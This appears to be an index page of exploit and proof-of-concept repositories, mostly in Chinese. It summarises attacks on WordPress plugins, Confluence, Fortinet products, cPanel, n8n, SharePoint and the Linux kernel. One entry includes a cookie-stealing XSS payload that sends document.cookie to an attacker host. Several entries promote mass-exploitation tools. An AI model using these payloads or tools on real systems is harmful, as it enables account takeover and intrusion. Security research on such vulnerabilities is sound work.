CVE-2023-51764

CVE-2023-51764 CVE-2023-51764 概念验证（PoC） 链接：https://github.com/duy-31/CVE-2023-51764 1. 添加 SMTP 身份验证 2. 该脚本仅在 Kali 上测试过 3. 请勿将该脚本用于非法用途...

CVE-2024-11613-wp-file-upload

CVE-2024-11613-wp-file-upload 由 Chirag Artani https://3rag.com 为 WordPress File Upload 中的 CVE-2024-11613 编写的漏洞利用程序 相关信息如下 - WordPress 的 WordPress File Upload 插件在所有版本（包括 4.24.15）中均存在远程代码执行、任意文件读取和任意文件删除漏洞，漏洞位于 'wfufiledownloader.php' 文件中。这是由于对 'source'...

CVE-2023-31446-Remote-Code-Execution

CVE-2023-31446-Remote-Code-Execution 该仓库包含由Dodge Industrial团队在Dodge OPTIFY平台上发现的CVE-2023-31446的描述。 CVE ID：CVE-2023-31446 厂商：Cassia Networks 产品：Cassia Gateway固件 版本： http:///bypass/config?type=sqs&keyId=&key=&queueUrl= 根据调查，SQS功能会在设备启动时启动该服务。 服务会加载配置文件，而上述端点会覆盖其中的设置。 服务在加载指定URL后，会从root...

-nginxui_discover

Nginx UI 发现扫描器 - CVE-2026-27944 版本检测器 https://img.shields.io/badge/python-3.6+-blue.svg https://img.shields.io/badge/license-MIT-green https://img.shields.io/badge/threading-multi--threaded-brightgreen 作者：NULL200OK 一款高性能、多线程扫描器，用于发现 Nginx UI Web 界面、检测其版本，并识别存在 CVE‑2026‑27944（版本 ≤ 2.3.2）漏洞的实例。...

CVE-2026-21858

CVE-2026-21858 + CVE-2025-68613 - n8n 完整攻击链 未认证任意文件读取 → 管理员令牌伪造 → 沙箱逃逸 → 远程代码执行...

CVE-2023-22527-POC

CVE-2023-22527 &color=brighgreen%3E 描述 旧版本的 Confluence Data Center 和 Server 中存在一个模板注入漏洞，允许未经身份验证的攻击者在受影响实例上实现 RCE。使用受影响版本的客户必须立即采取行动。大多数最新受支持的 Confluence Data Center 和 Server 版本不受此漏洞影响，因为该漏洞在常规版本更新中最终得到了缓解。但是，Atlassian 建议客户注意安装最新版本，以保护其实例免受 Atlassian 一月安全公告中概述的非关键漏洞的影响。 产品| 受影响版本 ---|--- Confluen...

CVE-2026-23550

CVE-2026-23550 Modular DS header'User-Agent'; $userAgentMatches = $userAgent && Str::is'ModularConnector/ Linux', $userAgent; $originQuery = $request-has'origin' && $request-get'origin' === 'mo'; $isFromQuery = $originQuery || $userAgentMatches && $request-has'type'; // When is wp-load.php reques...

CVE-2025-5947_Exploit

🔍 Explotación de Plugin de WordPress — Service Finder sf-booking Resumen El plugin Service Finder es un sistema de reservas y gestión de servicios para WordPress. Debido a su popularidad y complejidad, algunas versiones han tenido problemas de seguridad relacionados con endpoints AJAX no...

CVE-2026-0920

Exploit Research: CVE-2026-0920 - Backdoor en LA-Studio Element Kit Análisis técnico y Prueba de Concepto PoC para el backdoor crítico descubierto en LA-Studio Element Kit para Elementor versiones ≤ 1.5.6.3. Esta vulnerabilidad permite la creación de cuentas administrativas sin autenticación...

CVE-2023-41474

IVANTI AVALANCHE - 路径遍历 在 Ivanti Avalanche 上发现了一个新漏洞。已在 Avalanche Server v6.3.4.153 上测试，并被标识为 CVE-2023-41474。 这是一个受限的未认证路径遍历漏洞，意味着未授权攻击者可以访问默认配置下 C:\PROGRAM DATA\Wavelink\AVALANCHE\Web\ webapps\AvalancheWeb 中的任何文件。然而，只有部分文件扩展名（如 .xml 或 .html）可以被显示（还有其他一些扩展名，且它们也取决于 .htaccess 规则）。...

CVE-2026-4406

Gravity Forms = 2.9.28 — 通过 gformgetconfig 的 formids 参数实现未认证反射型跨站脚本攻击 漏洞摘要 字段| 值 ---|--- 受影响软件| Gravity Forms（WordPress 插件） 供应商| Rocketgenius, Inc. 漏洞类型| CWE-79：网页生成期间输入未正确中和（反射型跨站脚本攻击） CWE 链| CWE-20 → CWE-116 → CWE-838 → CWE-79（参见下方 CWE 分析） 受影响版本| 已在 2.9.28（发现时最新版本）上确认；早期版本可能受影响 修复版本|...

CVE-2023-6329

CVE-2023-6329 — Control iD iDSecure 認証バイパス CVE-2023-6329 の Python による概念実証エクスプロイトです。これは Control iD iDSecure バージョン 4.7.43.0 以下 における不適切なアクセス制御の脆弱性です。この欠陥により、認証されていないリモート攻撃者が、公開されている値（デバイスのシリアル番号、サーバー提供の nonce、ハードコードされたソルト）のみに依存した予測可能なパスワード導出アルゴリズムを悪用して、有効なログイン資格情報を再構築できます。認証後、攻撃者は Web...

CVE-2026-31280-Insecure-Bluetooth-RFCOMM-Leading-to-Device-Crash-in-Parani-M10-Intercom

CVE-2026-31280-不安全蓝牙RFCOMM导致Parani M10对讲机设备崩溃 Parani M10对讲机的蓝牙经典RFCOMM服务在未强制执行安全认证或适当访问控制的情况下暴露。一旦进入信号范围内，任何设备都可以在无适当配对限制的情况下建立连接，直接访问RFCOMM通道，或发送任意或畸形载荷 该漏洞的概念验证（PoC）记录在随附的PDF中，该PDF最初是为内部安全审查而提供给相应组织的。 发现者 - Nikhil YalgarCipherX1802 和 Tapadyuti Baral...

cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞，存在于其 SSL VPN 组件中。该漏洞允许未经身份验证的远程攻击者通过特制的 HTTP 请求在目标系统上执行任意代码或命令，可能导致系统被完全控制。 危害： 由于该漏洞的存在，攻击者可以在不需要任何身份验证的情况下，远程执行任意代码，进而完全控制受影响的设备。这可能导致敏感数据泄露、服务中断，甚至进一步的网络攻击。 攻击方法： 攻击者利用该漏洞的主要手段是发送特制的 HTTP 请求，触发 SSL VPN...

CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC

CVE-2024-25600 — WordPress Bricks Builder RCE PoC WordPress Bricks Builder id uid=33www-data gid=33www-data groups=33www-data 参照 CVE-2024-25600 Bricks Builder セキュリティアドバイザリ Wordfence の解説記事 クレジット 発見者: Snicco / Calvin Alkan オリジナルエクスプロイト: K3ysTr0K3R クリーンアップ & 簡略化: Esteban Zárate...

copyfail-rs

copyfail-rs CVE-2026-31431 Copy Fail 的 Rust 实现 — 通过 AFALG splice 实现的 Linux 内核页面缓存任意写入原语。 English README CVE-2026-31431 Linux 内核的 algifaead 实现允许非特权用户通过 splice 系统调用将任意数据写入任何可读文件的页面缓存。authencesn AEAD 算法将 seqnolo（用户控制的 AAD 字节 4-7）写入目标 scatterlist 的 assoclen + cryptlen 偏移处——当目标通过 splice...

CVE-2026-32201-exploit

Resumen Exploit en Python para CVE-2026-32201 - validación de entrada incorrecta en Microsoft SharePoint Server, que permite suplantación de red no autenticada C:L/I:L. Afecta: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoi...

CVE-2026-32475-PoC

CVE-2026-32475 — Elementor Pro 未认证任意文件上传 → RCE CVE-2026-32475 （CVSS 9.0）的概念验证：WordPress 插件 Elementor Pro （≤ 4.2.1）中存在未认证的任意文件上传漏洞，可导致远程代码执行。 | ---|--- CVE| CVE-2026-32475 CVSS| 9.0 严重 CWE| CWE-434（危险类型文件的不受限上传） 所需认证| 无 受影响版本| Elementor Pro ≤ 4.2.1 修复版本| Elementor Pro 4.2.2（2026-08-19） 报告者| Tin Ph...

cpsniper

cPanelSniper CVE-2026-41940 — cPanel 与 WHM 通过会话文件 CRLF 注入实现认证绕过 4 阶段利用链 · 交互式 WHM Shell · 对 1000 万+ 目标真正稳定 · 零内存占用 · 仅依赖标准库 概述 cPanelSniper 是一个针对 CVE-2026-41940 的专项利用框架，该漏洞是影响 cPanel 与 WHM 的严重认证绕过漏洞。该漏洞允许未认证的远程攻击者通过 Authorization HTTP 头向会话文件注入 CRLF 序列，从而获得 root 级别的 WHM 访问权限——无需任何有效凭据。 CVSS 评分：...

CVE-2026-35616

CVE-2026-35616 — FortiClient EMS 预认证绕过 FortiClient 终端管理服务器认证绕过（CVE-2026-35616）的概念验证（PoC） 该脚本利用 FortiClient EMS 中的认证绕过漏洞，允许未认证访问受保护的 API 端点。 受影响版本 FortiClient EMS 7.4.5, 7.4.6 已修复版本 FortiClient EMS 7.4.7 环境要求 root@kitploit: pip install requests urllib3 cryptography 需要在 PATH 中包含 openssl。 使用方法...